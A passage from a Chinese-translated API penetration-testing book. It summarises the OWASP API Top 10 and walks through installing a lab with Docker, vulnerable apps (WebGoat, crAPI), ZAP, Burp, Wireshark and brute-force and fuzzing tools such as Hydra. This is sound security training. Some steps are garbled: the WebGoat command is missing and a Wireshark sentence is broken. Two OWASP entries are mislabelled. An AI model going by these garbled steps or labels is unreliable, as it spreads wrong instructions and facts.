API 通常是应用程序唯一的入口点,或者至少是最常用的入口。这就是为什么加强它们的安全性对任何业务领域都至关重要的原因。API 的每个部分都应该获得相应的保护。例如,你是如何处理身份认证(AuthN)和授权(AuthZ)的?你是使用令牌还是仅使用用户名/密码凭证对?这些令牌或凭证是如何存储的,并且它们如何在 API 端点和客户端之间流动?你是否管理它们的生命周期?你是否记录每次令牌或凭证的使用情况,以及拥有这些令牌或凭证的用户试图访问系统的哪些部分?你是否定期旋转令牌或凭证?你能看到仅仅一个关注点就提出了多少问题吗?处理不当的身份认证(AuthN)和授权(AuthZ)可能导致潜在的入侵和重大损失。
常见的 API 漏洞
身份认证(AuthN)和授权(AuthZ)只是设计和开发 API 时需要特别注意的众多话题之一。尽管它们是两个独立的概念,但通常会一起讨论,因为没有一个就没有另一个的意义。它们不仅在处理外部用户时相关。当你的应用程序需要与内部系统或合作伙伴应用程序进行交互时,同样或其他的控制措施也必须到位。应用程序之间会相互通信,冒充应用程序或外部用户是我想要讨论的第一个漏洞。
OWASP,这个我们之前提到的组织,也拥有2023 年 API 安全前十项目。它的 API 安全前十倡议将 API1:2023——**破损的对象级权限控制(Broken Object Level AuthZ)**和 API1:2023——**破损的身份验证(Broken AuthN)**定位为两个最危险的威胁。第一个话题是关于在 API 执行过程中未正确处理对对象的访问。这样可能会导致敏感数据无意中暴露给未授权的人。因此,必须在对象级别上实施访问验证和保护措施。第二个话题与上一段讨论的内容相关。错误地处理身份验证数据,或实施了弱身份验证机制或已知的安全漏洞,会成为 API 管理中的一个重大难题。
接下来,我们将讨论破损的对象级权限控制(Broken Object Property Level AuthZ),这是排名第三的严重威胁。容易受此漏洞影响的 API 要么没有实现必要的安全控制,要么仅部分实现了这些控制,导致对象级别的访问保护不足,尤其是未授权人员可能会接触到不该公开的数据。它类似于破损的对象级权限控制,但该漏洞涉及的是 API 显示了超出必要的数据来执行其功能。接下来的威胁是不受限制的资源消耗。你还记得我们之前讨论 XML 和 XMLP 时提到过,XML 文档的创建方式可能会导致安全漏洞吗?这正是指的这种情况。API 如果没有正确解析输入,可能会遭受 DoS 攻击,因为会进行更多的处理或磁盘访问,导致成本增加。假设 API 运行在公有云服务商上,如果更多的处理被请求,可能导致启动新的实例(虚拟机)或将随机数据存储到高性能磁盘区域。这将导致月度账单呈指数级增长,或者触发一些由云服务商或公司管理的限流机制,使得 API 停机或进入休眠状态。无论如何,应用程序都会停止运行。
身份验证授权问题(AuthZ)再次出现在下一个威胁中。随着你的 API 变得越来越复杂并且触及其他系统,尤其是在与其他系统交互时,你可能会遇到 功能级别授权失效(Broken Function Level AuthZ),这意味着你需要密切关注在 API 内部创建的角色和角色所涉及的权限。当这些角色和权限没有被明确定义和强制执行时,不当处理 API 层级结构可能会导致漏洞,使得属于某个角色的用户能够有意或无意地(即使是合法用户,也可能会不小心遇到这种问题)获取更高角色的权限。API 并不构成整个应用程序。它是更大系统的一部分,有时,为了支撑系统的正常运转,会有多个业务流程同时运行。当你拥有对业务流程的无限制访问时,可能会出现一个漏洞:API 会暴露这些流程的内部结构。因此,攻击者利用这一漏洞可能会推断出 API 背后的业务逻辑。我们稍后将进一步讲解。
服务器端请求伪造(SSRF) 是一种非常常见的威胁,针对 Web 应用程序和 API,包括云环境中的威胁。一个易受攻击的 API 可能会接受任何 URI,包括执行内部命令,这些命令可能会暴露 API 背后的支持系统:操作系统、内核或库版本,及其他组件等。保护 API 本身非常重要,必须通过安全设计和实施来加以防护。巴西葡萄牙语中有句谚语,翻译过来大概是:“一只燕子不能代表一个夏天”。我想说的是,仅仅保护 API 本身是不够的。当一个系统存在安全配置错误时,换句话说,当帮助 API 运作的系统没有足够频繁地更新,或者没有被调整以实施安全最佳实践时,这种威胁就会变成 API 的现实。
管理 API 运行的整个环境非常重要,包括端点、底层系统、库等。API 和其他软件一样,都有版本,最终这些版本会被淘汰。运行弃用版本的端点应该被淘汰或使其不可用。当发生不当的库存管理时,遗忘的 API 端点或支持系统仍可能参与到 API 当前的实现中,暴露出额外的可利用漏洞。你开发的 API 是为合法用户或第三方所设计的。然而,保护 API 的投资通常更多地集中在外部用户,而非合作伙伴。当攻击者发现 API 集成时,他们可能会尝试利用第三方来入侵原本针对的端点。这被称为 不安全的 API 使用,通过采用我们稍后会讨论的 零信任 术语,能够避免或至少减少这种情况的发生。
总结
本章介绍了 API 背后的概念,并简要回顾了它们的历史,包括解释了数据定义是什么,并披露了实现 API 的主要协议。接着,我们讨论了 API 安全性对现代应用程序的重要性,并通过讲解最常见的 API 漏洞结束了本章内容。希望你已经享受了我们向 API 渗透测试之旅的开始。
在下一章中,我们将设置我们的渗透测试环境。将介绍一些工具,给出执行示例,并且我们有机会通过克隆书籍的代码库来节省时间,这将帮助我们利用一些工具。
延伸阅读
-
你可以在
www.redhat.com/en/topics/api/what-are-application-programming-interfaces找到 Red Hat 关于 API 的定义。 -
你可以在
aws.amazon.com/what-is/api/找到 AWS 关于 API 的定义。 -
查看关于 TCP/IP 与 OSI-RM 模型比较的科学文章:https://ieeexplore.ieee.org/document/46812
-
电子数字计算机的程序准备:
archive.org/details/programsforelect00wilk/mode/2up -
你将会找到一篇比较 API 的科学文章:
dl.acm.org/doi/10.1145/800297.811532 -
阅读电子商务简史:
web.archive.org/web/20160326123900/http://gsbrown.org/compuserve/electronic-mall-1984-04/ -
DS 的论文*《网络基础软件架构的架构风格与设计》*:
www.ics.uci.edu/~fielding/pubs/dissertation/top.htm -
这张信息图展示了 2013 年和 2014 年每分钟的互联网数据生成情况:
www.fourthsource.com/general/internet-minute-2013-vs-2014-infographic-18293 -
OWASP Top Ten 项目:
owasp.org/www-project-top-ten/ -
gRPC 官方文档:
grpc.io/docs/ -
查看官方的 JSON-RPC 文档:
www.jsonrpc.org/specification -
你可以在
owasp.org/www-project-api-security/了解更多关于 OWASP Top Ten API 项目的信息。
第二章:设置渗透测试环境
继续我们的书籍的第一部分,这是最实用的章节之一。显然,没有必要的工具包,进行高质量的渗透测试是不可能的。我们将在这里讨论一些可能性以及一些可以帮助你日常 API 渗透测试的工具。你将找到安装我在构建练习中应用的所有主要工具的说明,这些工具也是你在实际的 API 入侵测试中将使用的工具。还有一些关于操作系统和集成开发环境(IDE)的决策需要你做出。通过克隆本书的代码仓库,你可以节省相当多的时间。我分享了所有出现在后续章节中的代码和一些工具。
本章将涵盖以下主要话题:
-
选择工具和框架
-
建立测试实验室
-
配置测试环境
技术要求
虽然一些渗透测试人员有几台笔记本电脑,每台都安装一个最常见操作系统的版本(Linux、macOS 和 Windows),但其他人则倾向于将他们的测试环境托管在某个公共或私有云上。我以前也从事过取证分析。在那里,操作系统的家族确实很重要,特别是在进行深度分析时,因为文件系统的内部结构或其他一些固有特性,如库、命令工具或内核。如今,我属于使用本地虚拟机的团队。
因此,我在本书接下来的所有章节中都使用了虚拟机。为了获得良好的体验,建议你至少具备以下硬件配置:
-
一些 Intel Core i7 处理器或相应的 AMD 芯片,或者一些苹果自研芯片的电脑。
-
16 GB 内存。
-
1 TB 硬盘。
选择工具和框架
在接下来的章节中,我们将涵盖相当数量的 API 话题。所以,我们应该从选择合适的工具开始,这些工具将减少我们的工作量。既然我们将使用虚拟机,我们必须从选择一个虚拟机监控器开始。这个部分有多种选择和章节:
-
Windows
-
VMware Workstation:该产品最近(2024 年)已变为个人使用免费。它非常稳定,更新频繁,并且可以将所有 CPU 标志转发到客机操作系统。如果你使用 Windows 作为主机操作系统,我一定推荐这个。
-
Oracle Virtualbox:这是由 Oracle 控制的开源跨平台虚拟机监控器。它有扩展包,几乎可以在任何 Windows 版本上顺利运行。然而,在本章写作时(并且该问题在该产品历史上持续了一段时间),最大的限制是缺少虚拟化寄存器来支持客机操作系统。
-
Microsoft Hyper-V:这是 Windows 内嵌的虚拟机监控器。可以在桌面版和服务器版操作系统上使用。它有一个名为Windows Subsystem for Linux(WSL)的子集,目前已经是第二个版本,允许部署一些无头的 Linux 发行版。
-
-
macOS
-
VMware Fusion:这款产品最近(2024 年)变为个人免费使用。它的更新生命周期与 Windows 版本类似,如果你使用的是 Apple 主机操作系统,这也是一个应该考虑的选项。
-
Oracle Virtualbox:它也适用于 macOS,但自从 Apple Silicon 芯片(M1、M2、M3…)发布以来,它一直处于 beta 阶段。不幸的是,在编写本章时,使用这种芯片启动 Linux 来宾操作系统并不成功。
-
UTM:这是我在研究产品选项和功能时的一个意外发现。由于对 VMware Fusion 授权的疑虑以及 Virtualbox 在 ARM/Apple Silicon 上的限制和不稳定性,我选择了 UTM。它是一个轻量级的、低端功能的开源虚拟化程序,基于 QEMU,在为来宾操作系统模拟硬件方面做得很好。因此,如果你在 Apple Silicon 上运行 macOS,它是我的推荐选择。
-
-
Linux
-
VMware Workstation:这个软件包足够稳定,可以在任何主要发行版上运行。结合了易用性、强大的功能和免费的授权,它是我推荐的在 Linux 主机操作系统上运行的工具。
-
Oracle Virtualbox:当然,这里也可以下载。你可以轻松下载一些主要发行版的二进制文件,例如 Fedora、Debian、Ubuntu 和 openSUSE。如果使用其他发行版,可以尝试其源代码。
-
QEMU-KVM:如果你满意只通过命令行管理虚拟机,这是一个不错的选择。所有 Linux 发行版都有实现这些工具中的一个或两个。虽然有一些重要且有效的工具,但它最终可能会变得乏味,特别是当你需要频繁在来宾操作系统和主机操作系统之间切换时。建议将其作为最后的资源。
-
本书中演示的所有工具都可以在 Linux 上运行。它们中的一些也有其他系统的版本,还有一些可以作为 Docker 容器运行。为了保持章节间的一致性,我选择了 Linux。我使用了一台搭载 Apple Silicon 的 Apple 计算机来编写本书的大部分内容。只有少数实验无法在该平台上运行,原因是所使用工具的限制,且通过另一台运行 Windows 的 Intel 计算机来解决了这个问题。在这两种情况下,我选择了作为虚拟机运行的 Ubuntu Desktop 发行版。对于 Apple 机器,我选择了 UTM 作为虚拟化管理程序,而对于 Windows 计算机,我选择了 VMware Workstation。
下一步,虽然是可选的,但可以帮助你完成编码部分。它是关于选择一个集成开发环境(IDE)。在这方面,你可以考虑以下几个选项:
-
vi,以及它可能的一个更强大的功能——快捷键。与 Emacs 相反,它可能在一些发行版上预安装。然而,vim有一种模态的工作方式(编辑与可视化),对新手来说可能有些繁琐。除此之外,几乎没有任何图形化的表示。默认情况下,你只能看到你正在编辑的文本,其他什么也看不见。 -
图形化:
- 在这个类别中有很多图形化的 IDE,比如 Atom、PyCharm 和 Sublime。在本书中,我们将主要使用 Python 或 Golang 进行示例和练习。因此,不需要消耗太多资源或具备复杂功能的工具。我只会向你推荐一个,它就是 Visual Studio Code(简称 VScode)。它甚至有一个开源版本,叫做 VSCodium。当我需要编写代码时,这个产品显示出了非常实用的功能:语法高亮、代码补全、内联帮助、调试器、内联终端,等等。
最后我选择了 VScode(非开源版本),因为之前提到的功能,还有一些扩展(即它所称的插件)在 VSCodium 上运行不太顺畅。
一旦你了解了实验室的选项,就该开始构建它了。让我们开始吧!
构建测试实验室
现在你已经选择了你的工具和框架,让我们开始构建一个能够支持我们实验室的环境。我不会展示虚拟化软件或 Ubuntu 的安装步骤,因为它们非常简单。不过,如果在安装过程中遇到问题,你可以随时查阅官方文档,例如 https://help.ubuntu.com/20.04/installation-guide/index.html、https://docs.fedoraproject.org/en-US/fedora/latest/getting-started/ 和 https://download.virtualbox.org/virtualbox/7.0.18/UserManual.pdf。本节所提到的工具的顺序大致按照它们在接下来的章节中出现的顺序排列。它们中的一些只包含了几张截图,并没有在整本书中使用,所以它们的安装过程在这里不做覆盖。
安装 Docker
让我们先从安装 Docker 开始吧。
-
在虚拟机完全加载后,打开命令提示符并检查是否安装了
curl。一些较新的 Bash 版本在缺少该命令时会提示安装软件。无论如何,如果没有安装curl,你可以轻松地通过以下命令安装:$ sudo apt update && sudo apt install curl -
接下来我们需要的工具是 Docker。官方文档提供了一个详尽的分步指南,链接在这里(https://docs.docker.com/engine/install/ubuntu/)。
-
在安装之前,你需要执行一些准备步骤,比如添加官方仓库并安装签名密钥:
# Add Docker's official GPG key: sudo apt-get update sudo apt-get install ca-certificates curl sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc sudo chmod a+r /etc/apt/keyrings/docker.asc # Add the repository to Apt sources: echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \ $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt-get update -
然后你可以通过以下命令安装 Docker:
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -
不要忘记赋予你的用户名所有必要的权限以便运行它。
$ sudo groupadd docker $ sudo usermod -aG docker $USER docker run hello-world. -
我们将首先安装的容器是 WebGoat,它包含了 WebWolf。只需运行以下命令,你就能获得运行这两个软件所需的一切:
CTRL + D to exit it and check the current images:$ docker images
仓库 标签 镜像 ID 创建时间 大小
webgoat/webgoat 最新版本 cea483e51e8f 6 个月前 404MB
现在 Docker 已经安装完毕,让我们为实验室添加更多的软件。
安装 OWASP 软件
以下子章节介绍 OWASP 项目的安装。OWASP 是一个将不同背景的公认专业人士联合在一起的组织。他们讨论并制定全球采纳的标准,并创建帮助安全专业人员和爱好者练习和实践其角色的软件和工具,尤其是在进攻性安全方面。
安装 crAPI
我们将从安装 crAPI 开始,这是 OWASP 的另一个项目,充满了漏洞。
-
首先克隆位于 https://github.com/OWASP/crAPI 的仓库。
-
我们将使用
docker-compose来启动它。 -
使用
sudo apt install docker-compose安装它,然后输入以下命令:$ git clone https://github.com/OWASP/crAPI $ cd crAPI/deploy/docker $ docker compose -f docker-compose.yml --compatibility up -d这将下载一些镜像并启动所有容器。
-
检查你现在拥有的内容:
$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE crapi/mailhog latest b090a6f374ad 13 days ago 21.3MB crapi/crapi-community latest 9c9fc54c2eec 13 days ago 32.1MB crapi/crapi-workshop latest 452648f7cdb1 13 days ago 186MB crapi/crapi-identity latest abb5e226020f 2 weeks ago 491MB crapi/gateway-service latest ed9fd107e30a 2 weeks ago 78MB crapi/crapi-web latest 464f1efe9fd4 2 weeks ago 133MB postgres 14 08fca857484c 4 weeks ago 444MB mongo 4.4 80d502872ebd 3 months ago 408MB webgoat/webgoat latest cea483e51e8f 6 months ago 404MB -
还有容器:
$ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 96c3570a0ccf crapi/crapi-web:latest "/bin/sh -c /etc/ngi…" 26 minutes ago Up 26 minutes (healthy) 127.0.0.1:8888->80/tcp, 127.0.0.1:8443->443/tcp crapi-web b2fbe3d479bb crapi/crapi-workshop:latest "/bin/sh -c /app/run…" 26 minutes ago Up 26 minutes (healthy) crapi-workshop f687427de9f6 crapi/crapi-community:latest "/bin/sh -c /app/main" 27 minutes ago Up 27 minutes (healthy) 6060/tcp crapi-community 8c4d891f420a crapi/crapi-identity:latest "/entrypoint.sh" 27 minutes ago Up 27 minutes (healthy) 10001/tcp crapi-identity 3753ffa0052f mongo:4.4 "docker-entrypoint.s…" 27 minutes ago Up 27 minutes (healthy) 27017/tcp mongodb 1a531c4fae21 crapi/mailhog:latest "MailHog" 27 minutes ago Up 27 minutes (healthy) 1025/tcp, 127.0.0.1:8025->8025/tcp mailhog 8cecff3f9661 crapi/gateway-service:latest "/app/server" 27 minutes ago Up 27 minutes (unhealthy) 443/tcp api.mypremiumdealership.com 0448ced9db02 postgres:14 "docker-entrypoint.s…" 27 minutes ago Up 27 minutes (healthy) 5432/tcp postgresdb ee8043011c70 webgoat/webgoat "java -Duser.home=/h…" 32 minutes ago Up 33 minutes (healthy) 127.0.0.1:8080->8080/tcp, 127.0.0.1:9090->9090/tcp stoic_gate
crAPI 已启动。是时候安装 Zed Attack Proxy 了。
安装 OWASP ZAP
让我们继续安装 OWASP ZAP。这是一个图形化的过程。
-
首先从这里下载 Linux 安装程序(https://www.zaproxy.org/download/)。
-
你需要安装 Java 才能运行 ZAP。当你在命令提示符中输入
java时,Bash 会建议你几个选项。你必须安装至少版本为 11 的 Java 虚拟机:$ sudo apt install openjdk-11-jre-headless -
然后以 root 权限运行安装程序:
$ sudo ./ZAP_2_14_0_unix.sh结果,会显示欢迎界面(图 2*.1*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_01.jpg
图 2.1 – ZAP 安装程序欢迎界面
- 点击下一步按钮,你将看到两个选项(图 2*.2*)。由于我们是高级用户,让我们选择自定义安装。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_02.jpg
图 2.2 – 选择自定义安装
- 这意味着会接下来问你一些问题。第一个问题是安装目录。你可以选择默认值,除非你有一个分区拥有更多的磁盘空间。你还会看到需要多少磁盘空间以及剩余多少空间(图 2*.3*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_03.jpg
图 2.3 – 选择安装目录
- 然后,你需要告知安装程序将在哪个位置创建符号链接。这样可以确保软件及其内部组件在你从命令行或窗口管理器中调用时正常工作。选择默认选项,因为它指向一个系统 PATH 中的目录(图 2*.4*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_04.jpg
图 2.4 – 选择安装程序将在哪里创建二进制文件的符号链接
- 接下来,你需要决定是否需要桌面图标。虽然这是外观设置,但在某些情况下也很有用。它无妨,所以我选择了它(图 2*.5*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_05.jpg
图 2.5 – 为应用程序创建桌面图标
- 下一步是关于更新的内容。不要忘记勾选启动时检查更新的复选框,但不要选择安装新的 ZAP 版本的复选框。像这种复杂的软件,在考虑安装新版本之前,您应先阅读其发布说明。其他软件可能与之冲突。因此,首先进行检查是安全的(图 2.6)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_06.jpg
图 2.6 – 一些更新选项
- 完成此操作后,安装就完成了。尝试从图形界面启动应用程序。可能会发现没有图标显示出来(图 2.7)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_07.jpg
图 2.7 – ZAP 的图标未显示应用程序的实际图标
这不是问题。它可能与 JVM 配置或您的 Linux 发行版有关。
- 每次加载时,ZAP 会询问您是否要保持会话。如果您愿意保存您的活动,请选择相关选项。对于您在这里进行的大部分操作,实际上没有必要这样做(图 2.8)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_08.jpg
图 2.8 – 是否保持会话
- 点击开始后,工具最终加载完毕。您可能已看到图 2.9中的窗口。ZAP 拥有合理数量的插件,并且它们遵循独立的更新周期。可能会弹出一些推荐,确认后继续过程。请不要忽视它们(图 2.9)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_09.jpg
图 2.9 – ZAP 插件的可选但推荐的更新
下图显示了 ZAP 的一些插件的截图,并且可以一键按顺序更新它们(图 2.10)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_10.jpg
图 2.10 – ZAP 的插件更新界面
OWASP 软件已经安装。接下来我们加入另一个工具项。
安装 Burp Suite
我们将大量使用的另一个工具是 Burp Suite。该工具有几个版本可供选择,但我们将使用社区版。
-
下载安装程序:https://portswigger.net/burp/releases/community/latest。然后直接执行它:
$ ./burpsuite_community_linux_arm64_v2023_12_1_3.sh Unpacking JRE ... Starting Installer ...和往常一样,第一屏是欢迎界面(图 2.11)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_11.jpg
图 2.11 – Burp 安装欢迎界面
- 选择下一步,然后系统会提示您选择安装目录(图 2.12)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_12.jpg
图 2.12 – Burp 的安装目录
- 和 ZAP 一样(图 2.4),安装程序会询问应该在哪创建符号链接。请按照前图所示,选择默认值,除非您有其他空间更大的区域(图 2.13)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_13.jpg
图 2.13 – 应该创建 Burp 二进制文件链接的位置
- 等待安装程序解压并将文件放置到正确的位置。根据当前版本和你的虚拟机硬件配置,这可能需要一些时间(图 2*.14*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_14.jpg
图 2.14 – 文件正在安装
- 只需完成设置,你就可以开始了(图 2*.15*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_15.jpg
图 2.15 – 安装结束
- 至少,Burp 配备了正确的图标。当你在 Linux 的窗口管理器中输入它的名称时,你会看到它。加载它来验证安装是否一切正常(图 2*.16*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_16.jpg
图 2.16 – 通过 GUI 调用 Burp
- 每次打开应用程序时,你将被提示是否要在内存中启动一个临时项目,或者是否希望加载之前保存的项目。在本书的所有练习中,我们将只创建临时项目,所以只需选择第一个选项并点击下一步(图 2*.17*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_17.jpg
图 2.17 – 选择 Burp 启动方式
- 最后,你将被提示选择加载 Burp 时使用的参数。你可以通过应用程序的 GUI 或直接编辑配置文件来配置其中的几个参数。如果你之前做过这一步,你可以浏览配置文件并通过相应的对话框加载它。否则,只需点击默认选项并点击下一步(图 2*.18*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_18.jpg
图 2.18 – 加载 Burp 参数
就这样,Burp 安装完成。让我们继续。
安装 Postman 和 Wireshark
接下来的安装步骤极其简单:Postman 和 Wireshark。
安装 Postman
根据官方文档,Postman 当前(2024)支持 Ubuntu、Fedora 和 Debian。其他发行版可能也可以使用,但你需要查看你所在发行版的文档以及该工具本身的文档进行确认。使用厂商推荐的 snap,你可以通过以下方式在系统中安装它:
$ sudo apt update
$ sudo apt install snapd
$ sudo snap install postman
完成。通过 GUI 或 CLI 调用它(图 2*.19*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_19.jpg
图 2.19 – 调用 Postman
安装 Wireshark
对于 Wireshark,如果你在命令提示符下输入 wireshark,Bash 会建议通过 APT 安装它。所以只需照做:
$ sudo apt install wireshark-qt
你需要做出一个决定。默认情况下,非 root 用户不能从网络设备捕获数据包。如果你选择否(默认),你必须以 root 身份运行 Wireshark 才能使用它,特别是当你捕获来自回环接口的数据包时(图 2*.20*)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_20.jpg
图 2.20 – 选择非 root 用户是否能够捕获数据包
我选择了/etc/group文件,并将我的用户名添加到包含wireshark组的那一行,然后注销并重新登录:
wireshark:x:137:mauricio
之后,我终于能够加载软件并捕获数据包了。Wireshark 现在准备就绪,开始工作了(图 2.21)。
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_21.jpg
图 2.21 – 调用 Wireshark
如前所述,本书中创建的许多代码是用 Python 或 Golang 编写的。Python 在这种环境中有一个非常有用的模块,叫做 pip。有时,它并不会随着主语言一起预装:
$ python3 -m venv testdir
The virtual environment was not created successfully because ensurepip is not available. On Debian/Ubuntu systems, you need to install the python3-venv package using the following command.
apt install python3.10-venv
You may need to use sudo with that command. After installing the python3-venv package, recreate your virtual environment.
Failing command: /home/mauricio/Downloads/testdir/bin/python3
从这里,你有两个选择。你可以运行前面提到的命令,只安装所需的模块,或者安装pip和模块。第二个选项更为灵活,因为在后续的章节中你会需要pip:
$ sudo apt install python3-pip
$ sudo apt install python3-venv
$ python3 -m venv testdir
$ ls -alph testdir
total 24K
drwxrwxr-x 5 mauricio mauricio 4.0K Jun 8 15:53 ./
drwxr-xr-x 4 mauricio mauricio 4.0K Jun 8 15:53 ../
drwxrwxr-x 2 mauricio mauricio 4.0K Jun 8 16:20 bin/
drwxrwxr-x 2 mauricio mauricio 4.0K Jun 8 15:53 include/
drwxrwxr-x 3 mauricio mauricio 4.0K Jun 8 15:53 lib/
lrwxrwxrwx 1 mauricio mauricio 3 Jun 8 15:53 lib64 -> lib/
-rw-rw-r-- 1 mauricio mauricio 71 Jun 8 16:25 pyvenv.cfg
根据 Python 版本和 Ubuntu 发布版本,上面块中的第一个命令可能默认安装许多模块。你可以通过pip3 list检查已安装的模块。
尽管我已经提到我选择了 VScode 作为 IDE,但我还没有展示如何安装它。可以选择几种不同的方法,具体描述请参见 https://code.visualstudio.com/docs/setup/linux。我个人下载了二进制文件并通过 APT 安装了它(sudo apt install ./code),就这样(图 2.22):
https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/pentest-api/img/B19657_02_22.jpg
图 2.22 – 调用 VS Code
这就是开发环境的部分。接下来,让我们看看其他工具。
安装其他工具
我们需要各种类型的工具来完成后续章节中的不同活动。其中一些工具会帮助你进行模糊测试(你将在第四章和第六章中详细学习),其他一些则帮助进行负载/压力测试,或伪造日志生成、日志分析,最后还有源代码验证,除了 Golang 包本身。在这一节中,我们将看一下其中的一些工具。为了方便你使用,就像本章中展示的所有可下载工具一样,我已经将其 Intel 和 ARM Linux 版本上传到本书的 GitHub 仓库。该仓库地址是 github.com/PacktPublishing/Pentesting-APIs。书中使用的所有主要代码摘录都可以在那里找到。此外,这些工具的大小都比较大,因此,请查看该仓库中的README.md文件,里面包含了进一步的安装和使用说明。
Anaconda
另一个与 Python 配合使用的优秀工具是Anaconda。你可以创建额外的环境来进行工作,并在其中安装额外的软件包,就像使用虚拟环境一样。然而,它的一个最大优势是,你可以通过一个命令更新所有组件和依赖项。我没有在我的系统上安装它,但你可以按照 https://docs.anaconda.com/free/anaconda/install/linux/上的步骤进行安装。
Hydra
在某些章节中,将会有一个非常有用的工具是 Hydra,它通常用于执行某种暴力破解攻击。为了让我们高兴的是,它的二进制版本在一些 Ubuntu 默认的仓库中可以找到,因此我们可以轻松地通过以下方式进行安装:
$ sudo apt install hydra
$ hydra
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
Output omitted for brevity
Patator
Patator 也在我们的工具箱中。当你需要对某些目标进行模糊测试攻击时,这个工具非常强大。然而,它的占用空间可能相当大:
$ sudo apt install patator
$ patator
Patator 0.9 (https://github.com/lanjelot/patator) with python-3.10.12
Usage: patator module –help
Output omitted for brevity
Radamsa
接下来,我们将安装一个灵活且强大的工具,名为 Radamsa。在进行模糊测试时,它将非常有用。安装文档很简洁(https://gitlab.com/akihe/radamsa):
$ sudo apt-get install gcc make git wget
$ git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
$ radamsa --version
Radamsa 0.8a
是的,你将从源代码进行安装,因为这个过程需要下载一些根据你运行的平台而变化的文件。
Apache Bench
接下来,工具是 Apache Bench (ab),这是一个非常有用的负载测试工具:
$ sudo apt install apache2-utils
$ ab -V
This is ApacheBench, Version 2.3 <$Revision: 1879490 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
hping3
还没有完成,肯定的。接下来我们来安装 hping3,它是一个使用除 ICMP 以外的其他协议发送 ECHO 数据包的工具。再次选择 APT 作为你的工具:
$ sudo apt install hping3
$ /usr/sbin/hping3 –version
hping3 version 3.0.0-alpha-2 ($Id: release.h,v 1.4 2004/04/09 23:38:56 antirez Exp $)
This binary is TCL scripting capable
flog
下一个工具是一个伪日志生成器。当你需要对大量日志进行某些配置测试或开发中的某个工具时,它非常有用。这个工具由 flog 代表,也可以通过 APT 安装:
$ sudo apt install flog
$ flog
Usage: pipeline| flog [options] {logfile|-} # SIGHUP will reopen logfile (v1.8)
-t prepend each line with "YYYYMMDD;HH:MM:SS: "
-T <format> prepend each line with specified strftime(3) format
-l <number> log file length limit (force truncation)
-F <fifo> fifo name
-p <pidfile> pid file
-z zap (truncate) log if disk gets full (default: grow buffer
在 第八章 中,你将使用一个名为 filebeat 的工具,它会持续将文件的变化推送到外部 Elastic 服务(如它们的云服务)。当你必须对某些资源进行持续监控时,这个工具非常重要。针对主要发行版,有专门的包。在我们的情况下(Ubuntu),你可以按照下面的步骤进行。第一行与官方文档中的稍有不同,因为现在 apt-key 用于添加仓库密钥的方法已经被弃用。
$ wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo tee /etc/apt/trusted.gpg.d/elastic.asc
$ sudo apt-get install apt-transport-https
$ echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-8.x.list
$ sudo apt-get update && sudo apt-get install filebeat
$ filebeat version
filebeat version 8.14.0 (arm64), libbeat 8.14.0 [de52d1434ea3dff96953a59a18d44e456a98bd2f built 2024-05-31 15:22:46 +0000 UTC]
wget 和 echo 命令是单行的。这个包支持 Intel 和 ARM 处理器。为了方便起见,书中的 GitHub 仓库提供了这两个平台的 .deb 包副本。
